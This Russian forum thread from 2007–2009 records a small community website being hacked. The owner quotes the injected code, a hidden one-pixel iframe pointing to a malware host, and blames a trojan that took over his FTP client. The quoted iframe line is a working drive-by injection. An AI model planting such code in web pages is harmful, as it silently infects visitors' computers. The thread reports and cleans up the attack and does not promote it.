Взлом? Баг?.. Что-то было

замечания по работе сайта, мысли по его организации, идеи для автора и редактора
Ответить
Аватара пользователя
Aqua$erg
Хозяин
Сообщения: 9265
Зарегистрирован: 08 авг 2006 20:46
Откуда: СНТ "Полиграфист"
x 582
Контактная информация:

Взлом? Баг?.. Что-то было

Сообщение Aqua$erg » 14 май 2007 07:29

Сегодня ночью с сайтом произошла "непонятка": Главная страница и Контакты отображали вместо себя нечто, на что ругался Dr.Web и содержали в самом начале кода примерно следующее:
<!-- ~ --><iframe src="http://ammok.com/s/index.php" width=1height=1><!-- ~ -->
После чего вместо Белоострова начинала загружаться страница с указанным адресом.

Поправил, конечно. Но как-то беспокойно на душе стало... Откуда такая напасть? 8O
0 x

Аватара пользователя
Aqua$erg
Хозяин
Сообщения: 9265
Зарегистрирован: 08 авг 2006 20:46
Откуда: СНТ "Полиграфист"
x 582
Контактная информация:

Сообщение Aqua$erg » 14 май 2007 07:41

О, а только что подобная беда произошла и с Форумом 8O
Кто-то ломает...
0 x

Владимир
Садовод
Сообщения: 290
Зарегистрирован: 02 апр 2007 16:15
Откуда: Камешки
x 62

Сообщение Владимир » 14 май 2007 09:13

Файл index.php у форума уже вчера не работал и пустоту возвращал. А viewtopic.php показывал всё, как надо. У меня вопрос, а на что антивирус ругался, у меня НОД слова не сказал.
0 x

Аватара пользователя
Roman
Садовод
Сообщения: 390
Зарегистрирован: 25 дек 2006 20:02
Откуда: Aлексaндрoвскaя слoбoдa

Сообщение Roman » 14 май 2007 16:34

У меня aнтивирус пoкaзывaл вoт эту штуку: EXP/VML-Fill.A
0 x

Аватара пользователя
Aqua$erg
Хозяин
Сообщения: 9265
Зарегистрирован: 08 авг 2006 20:46
Откуда: СНТ "Полиграфист"
x 582
Контактная информация:

Сообщение Aqua$erg » 14 май 2007 19:56

Я со страху не заметил - на что именно ругался антивирус. Похоже, что кто-то "автоматом" прошерстил все индексные файлы в директориях, снабдив их подобным дополнением скрипта.
0 x

Аватара пользователя
Aqua$erg
Хозяин
Сообщения: 9265
Зарегистрирован: 08 авг 2006 20:46
Откуда: СНТ "Полиграфист"
x 582
Контактная информация:

Сообщение Aqua$erg » 14 май 2007 20:49

Та-а-ак-с...
Проверил все мои (под моей поддержкой) сайты на ПетерХосте - все они поражены подобным вирусом (во всяком случае, все индексные файлы).
Написал письмо в саппорт. Жду ответа :evil:
0 x

Аватара пользователя
Aqua$erg
Хозяин
Сообщения: 9265
Зарегистрирован: 08 авг 2006 20:46
Откуда: СНТ "Полиграфист"
x 582
Контактная информация:

Сообщение Aqua$erg » 14 май 2007 23:30

У меня, кстати, антивирус ругался (проверил по другим сайтам) на некую дрянь
VBS.Psyme.262
Ссылалась она на один и тот же сайт http://ammok.com/s/index.php (не советую туда ходить - вдруг там "бяка"...)
0 x

Аватара пользователя
Roman
Садовод
Сообщения: 390
Зарегистрирован: 25 дек 2006 20:02
Откуда: Aлексaндрoвскaя слoбoдa

Сообщение Roman » 14 май 2007 23:38

Схoдил! Тaм действительнo бякa! :evil:
0 x

Аватара пользователя
AndreyG
Садовод
Сообщения: 486
Зарегистрирован: 11 фев 2007 02:09
Откуда: Старый Белоостров, ВМА / Здоровье-1
x 1
Контактная информация:

Сообщение AndreyG » 16 май 2007 21:04

phpBB - очень распространенный форум - в этом его сила и слабость. Слабость в том - что его очень любят ломать, а через него и сайт, и знают его дыры. В более новых версиях форума многое исправляется, но, как я понимаю, и находится новое.
0 x

Аватара пользователя
Aqua$erg
Хозяин
Сообщения: 9265
Зарегистрирован: 08 авг 2006 20:46
Откуда: СНТ "Полиграфист"
x 582
Контактная информация:

Сообщение Aqua$erg » 16 май 2007 22:01

Нет, я разобрался в причине. Дело было не в уязвимости форума - он у меня как раз относительно неплохо защищён.
Оказалось, виноват был хитрый троян, которого я где-то словил - он влез в моего фтп-клиента, и пошло-поехало... Все сайты, которые были у меня в списке - порушились. Заразились все индексные файлы во всех директориях
0 x

Аватара пользователя
delazar
Садовод
Сообщения: 306
Зарегистрирован: 09 янв 2008 21:08
Откуда: Ф.Ж.Д. ст.Бѣлоостровъ, №44

Сообщение delazar » 04 апр 2009 17:19

Уже пару дней не грузится форум ни с внешних ссылок, ни с внутренних - выдается пустая страница. Подфорумы, темы и все остальное работает вроде нормально. А как у вас?
0 x

stepan
Дачник
Сообщения: 76
Зарегистрирован: 17 авг 2007 11:26
Откуда: Новый Белоостров

Сообщение stepan » 04 апр 2009 18:02

У меня то же самое. Пустая страница. До сих пор так
0 x

Аватара пользователя
Буквоед
Знаток
Сообщения: 7087
Зарегистрирован: 24 ноя 2008 11:00
Откуда: Старый Белоостров, СНТ "Ленавтотранс"
x 261

Сообщение Буквоед » 04 апр 2009 19:18

stepan писал(а):У меня то же самое. Пустая страница. До сих пор так
Аналогичная картина :cry:
0 x
Всё новое это хорошо забытое старое

Аватара пользователя
raevsku
Модератор
Сообщения: 5336
Зарегистрирован: 27 сен 2008 04:04
Откуда: оттуда
x 305

Сообщение raevsku » 04 апр 2009 22:57

delazar писал(а):Уже пару дней не грузится форум ни с внешних ссылок, ни с внутренних - выдается пустая страница. Подфорумы, темы и все остальное работает вроде нормально. А как у вас?
Есть подобный "косяк". Враги форума не спят. :roll:
0 x

Аватара пользователя
Aqua$erg
Хозяин
Сообщения: 9265
Зарегистрирован: 08 авг 2006 20:46
Откуда: СНТ "Полиграфист"
x 582
Контактная информация:

Сообщение Aqua$erg » 05 апр 2009 00:08

А как вы все умудрились написать об этом???
0 x

Аватара пользователя
raevsku
Модератор
Сообщения: 5336
Зарегистрирован: 27 сен 2008 04:04
Откуда: оттуда
x 305

Сообщение raevsku » 05 апр 2009 00:23

Aqua$erg писал(а):А как вы все умудрились написать об этом???
Главная - Новости форума - Взлом? Баг? И пишем по маленьку! :)
0 x

Аватара пользователя
Aqua$erg
Хозяин
Сообщения: 9265
Зарегистрирован: 08 авг 2006 20:46
Откуда: СНТ "Полиграфист"
x 582
Контактная информация:

Сообщение Aqua$erg » 05 апр 2009 19:04

Так-с... Починил, вроде. Был взлом сайта. Опять - как и в первом сообщении в этой ветке.
Но я по забывчивости потёр все аватары, так что прошу залить по новой.
0 x

Аватара пользователя
Aqua$erg
Хозяин
Сообщения: 9265
Зарегистрирован: 08 авг 2006 20:46
Откуда: СНТ "Полиграфист"
x 582
Контактная информация:

Сообщение Aqua$erg » 05 апр 2009 23:05

Чёрт... Только всё починил - опять то же самое!
Пришлось сменить пароль доступа к сайту. Надеюсь, поможет
0 x

Аватара пользователя
delazar
Садовод
Сообщения: 306
Зарегистрирован: 09 янв 2008 21:08
Откуда: Ф.Ж.Д. ст.Бѣлоостровъ, №44

Сообщение delazar » 05 апр 2009 23:10

Вроде, мы победили (тук-тук-тук!).
0 x

Аватара пользователя
Aqua$erg
Хозяин
Сообщения: 9265
Зарегистрирован: 08 авг 2006 20:46
Откуда: СНТ "Полиграфист"
x 582
Контактная информация:

Сообщение Aqua$erg » 05 апр 2009 23:13

Пока что пью шампанское в честь победы, но подождём пару дней (может, и пару часов)...
0 x

Аватара пользователя
Буквоед
Знаток
Сообщения: 7087
Зарегистрирован: 24 ноя 2008 11:00
Откуда: Старый Белоостров, СНТ "Ленавтотранс"
x 261

Сообщение Буквоед » 05 апр 2009 23:21

Aqua$erg писал(а):Пока что пью шампанское в честь победы, но подождём пару дней (может, и пару часов)...
Как говорится, дай Бог :)
P.S. Или я плохо не понял, или у Вас часы не переведены на летнее? Цитируемый пост пришел в 00:13, а показано 11:13
0 x
Всё новое это хорошо забытое старое

Аватара пользователя
Aqua$erg
Хозяин
Сообщения: 9265
Зарегистрирован: 08 авг 2006 20:46
Откуда: СНТ "Полиграфист"
x 582
Контактная информация:

Сообщение Aqua$erg » 05 апр 2009 23:27

Спасибо, что напомнили. Вручную нужно переводить в настройках, а я и забыл... Правда, вижу - без редактирования этого момента в личном профайле это бесполезно. Так что, и у себя в профайле поправьте.
0 x

Ответить